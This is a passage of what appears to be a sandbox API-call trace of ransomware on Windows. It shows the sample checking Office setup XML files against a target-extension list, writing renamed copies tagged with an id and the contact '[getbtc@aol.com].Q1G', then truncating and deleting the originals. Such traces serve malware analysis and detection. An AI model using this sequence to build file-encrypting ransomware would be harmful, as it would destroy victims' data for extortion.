(lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml")) returned 1 [0041.406] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0041.406] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0041.406] lstrlenW (lpString=".doc") returned 4 [0041.406] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0041.406] lstrlenW (lpString=".docx") returned 5 [0041.406] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0041.406] lstrlenW (lpString=".pdf") returned 4 [0041.406] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0041.406] lstrlenW (lpString=".xls") returned 4 [0041.406] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0041.406] lstrlenW (lpString=".xlsx") returned 5 [0041.406] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0041.406] lstrlenW (lpString=".ppt") returned 4 [0041.406] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0041.406] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0041.406] lstrlenW (lpString=".zip") returned 4 [0041.406] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0041.406] lstrlenW (lpString=".rar") returned 4 [0041.406] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0041.406] lstrlenW (lpString=".bz2") returned 4 [0041.406] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0041.406] lstrlenW (lpString=".7z") returned 3 [0041.406] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0041.406] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0041.406] lstrlenW (lpString=".dbf") returned 4 [0041.406] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0041.406] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0041.406] lstrlenW (lpString=".1cd") returned 4 [0041.406] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0041.406] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0041.407] lstrlenW (lpString=".jpg") returned 4 [0041.407] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0041.407] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0041.407] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0041.407] lstrlenW (lpString=".doc") returned 4 [0041.407] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0041.407] lstrlenW (lpString=".docx") returned 5 [0041.407] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0041.407] lstrlenW (lpString=".pdf") returned 4 [0041.407] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0041.407] lstrlenW (lpString=".xls") returned 4 [0041.407] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0041.407] lstrlenW (lpString=".xlsx") returned 5 [0041.407] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0041.407] lstrlenW (lpString=".ppt") returned 4 [0041.407] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0041.407] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0041.407] lstrlenW (lpString=".zip") returned 4 [0041.407] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0041.407] lstrlenW (lpString=".rar") returned 4 [0041.407] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0041.407] lstrlenW (lpString=".bz2") returned 4 [0041.407] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0041.407] lstrlenW (lpString=".7z") returned 3 [0041.407] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0041.407] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0041.407] lstrlenW (lpString=".dbf") returned 4 [0041.407] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0041.407] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0041.407] lstrlenW (lpString=".1cd") returned 4 [0041.408] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0041.408] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0041.408] lstrlenW (lpString=".jpg") returned 4 [0041.408] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0041.408] lstrcmpiW (lpString1=".XML", lpString2=".Q1G") returned 1 [0041.408] lstrlenW (lpString="PowerPointMUI.XML") returned 17 [0041.408] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0041.408] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=1450) returned 1 [0041.408] CloseHandle (hObject=0x19c) returned 1 [0041.408] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml")) returned 0x20 [0041.408] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0041.409] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0041.409] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.409] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.409] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0041.410] GetLastError () returned 0x0 [0041.411] ReadFile (in: hFile=0x19c, lpBuffer=0x3290020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesRead=0x2b3fed4*=0x5aa, lpOverlapped=0x0) returned 1 [0041.412] WriteFile (in: hFile=0x1fc, lpBuffer=0x3290020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesWritten=0x2b3fc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0041.413] ReadFile (in: hFile=0x19c, lpBuffer=0x3290020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesRead=0x2b3fed4*=0x0, lpOverlapped=0x0) returned 1 [0041.413] WriteFile (in: hFile=0x1fc, lpBuffer=0x3290020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesWritten=0x2b3fc9c*=0xf6, lpOverlapped=0x0) returned 1 [0041.413] SetEndOfFile (hFile=0x1fc) returned 1 [0041.413] CloseHandle (hObject=0x1fc) returned 1 [0041.414] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.414] SetEndOfFile (hFile=0x19c) returned 1 [0041.415] CloseHandle (hObject=0x19c) returned 1 [0041.415] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0041.415] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml")) returned 1 [0041.415] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0041.415] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0041.415] lstrlenW (lpString=".doc") returned 4 [0041.415] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0041.415] lstrlenW (lpString=".docx") returned 5 [0041.415] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0041.415] lstrlenW (lpString=".pdf") returned 4 [0041.415] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0041.415] lstrlenW (lpString=".xls") returned 4 [0041.415] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0041.415] lstrlenW (lpString=".xlsx") returned 5 [0041.415] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0041.415] lstrlenW (lpString=".ppt") returned 4 [0041.416] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0041.416] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0041.416] lstrlenW (lpString=".zip") returned 4 [0041.416] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0041.416] lstrlenW (lpString=".rar") returned 4 [0041.416] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0041.416] lstrlenW (lpString=".bz2") returned 4 [0041.416] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0041.416] lstrlenW (lpString=".7z") returned 3 [0041.416] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0041.416] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0041.416] lstrlenW (lpString=".dbf") returned 4 [0041.416] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0041.416] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0041.416] lstrlenW (lpString=".1cd") returned 4 [0041.416] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0041.416] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0041.416] lstrlenW (lpString=".jpg") returned 4 [0041.416] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0041.416] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0041.416] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0041.416] lstrlenW (lpString=".doc") returned 4 [0041.416] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0041.416] lstrlenW (lpString=".docx") returned 5 [0041.416] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0041.416] lstrlenW (lpString=".pdf") returned 4 [0041.416] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0041.416] lstrlenW (lpString=".xls") returned 4 [0041.416] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0041.416] lstrlenW (lpString=".xlsx") returned 5 [0041.416] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0041.416] lstrlenW (lpString=".ppt") returned 4 [0041.416] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0041.416] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0041.417] lstrlenW (lpString=".zip") returned 4 [0041.417] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0041.417] lstrlenW (lpString=".rar") returned 4 [0041.417] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0041.417] lstrlenW (lpString=".bz2") returned 4 [0041.417] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0041.417] lstrlenW (lpString=".7z") returned 3 [0041.417] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0041.417] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0041.417] lstrlenW (lpString=".dbf") returned 4 [0041.417] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0041.417] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0041.417] lstrlenW (lpString=".1cd") returned 4 [0041.417] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0041.417] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0041.417] lstrlenW (lpString=".jpg") returned 4 [0041.417] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0041.417] lstrcmpiW (lpString1=".XML", lpString2=".Q1G") returned 1 [0041.417] lstrlenW (lpString="SETUP.XML") returned 9 [0041.417] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0041.418] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=1886) returned 1 [0041.418] CloseHandle (hObject=0x19c) returned 1 [0041.418] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml")) returned 0x20 [0041.419] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0041.419] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0041.419] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.419] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.419] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0041.419] GetLastError () returned 0x0 [0041.419] ReadFile (in: hFile=0x19c, lpBuffer=0x3290020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesRead=0x2b3fed4*=0x75e, lpOverlapped=0x0) returned 1 [0041.421] WriteFile (in: hFile=0x1fc, lpBuffer=0x3290020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesWritten=0x2b3fc9c*=0x760, lpOverlapped=0x0) returned 1 [0041.422] ReadFile (in: hFile=0x19c, lpBuffer=0x3290020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesRead=0x2b3fed4*=0x0, lpOverlapped=0x0) returned 1 [0041.422] WriteFile (in: hFile=0x1fc, lpBuffer=0x3290020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesWritten=0x2b3fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0041.422] SetEndOfFile (hFile=0x1fc) returned 1 [0041.422] CloseHandle (hObject=0x1fc) returned 1 [0041.423] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.423] SetEndOfFile (hFile=0x19c) returned 1 [0041.424] CloseHandle (hObject=0x19c) returned 1 [0041.424] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0041.424] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml")) returned 1 [0041.424] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0041.424] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0041.424] lstrlenW (lpString=".doc") returned 4 [0041.424] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0041.424] lstrlenW (lpString=".docx") returned 5 [0041.424] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0041.425] lstrlenW (lpString=".pdf") returned 4 [0041.425] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0041.425] lstrlenW (lpString=".xls") returned 4 [0041.425] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0041.425] lstrlenW (lpString=".xlsx") returned 5 [0041.425] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0041.425] lstrlenW (lpString=".ppt") returned 4 [0041.425] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0041.425] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0041.425] lstrlenW (lpString=".zip") returned 4 [0041.425] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0041.425] lstrlenW (lpString=".rar") returned 4 [0041.425] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0041.425] lstrlenW (lpString=".bz2") returned 4 [0041.425] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0041.425] lstrlenW (lpString=".7z") returned 3 [0041.425] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0041.425] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0041.425] lstrlenW (lpString=".dbf") returned 4 [0041.425] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0041.425] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0041.425] lstrlenW (lpString=".1cd") returned 4 [0041.425] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0041.425] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0041.425] lstrlenW (lpString=".jpg") returned 4 [0041.425] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0041.425] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0041.425] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0041.425] lstrlenW (lpString=".doc") returned 4 [0041.425] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0041.426] lstrlenW (lpString=".docx") returned 5 [0041.426] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0041.426] lstrlenW (lpString=".pdf") returned 4 [0041.426] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0041.426] lstrlenW (lpString=".xls") returned 4 [0041.426] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0041.426] lstrlenW (lpString=".xlsx") returned 5 [0041.426] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0041.426] lstrlenW (lpString=".ppt") returned 4 [0041.426] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0041.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0041.426] lstrlenW (lpString=".zip") returned 4 [0041.426] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0041.426] lstrlenW (lpString=".rar") returned 4 [0041.426] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0041.426] lstrlenW (lpString=".bz2") returned 4 [0041.426] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0041.426] lstrlenW (lpString=".7z") returned 3 [0041.426] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0041.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0041.426] lstrlenW (lpString=".dbf") returned 4 [0041.426] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0041.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0041.426] lstrlenW (lpString=".1cd") returned 4 [0041.426] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0041.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0041.426] lstrlenW (lpString=".jpg") returned 4 [0041.426] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0041.427] lstrcmpiW (lpString1=".XML", lpString2=".Q1G") returned 1 [0041.427] lstrlenW (lpString="PrjProrWW.XML") returned 13 [0041.427] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0041.428] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=6421) returned 1 [0041.428] CloseHandle (hObject=0x19c) returned 1 [0041.428] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml")) returned 0x20 [0041.428] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0041.428] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0041.428] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.428] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.428] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0041.428] GetLastError () returned 0x0 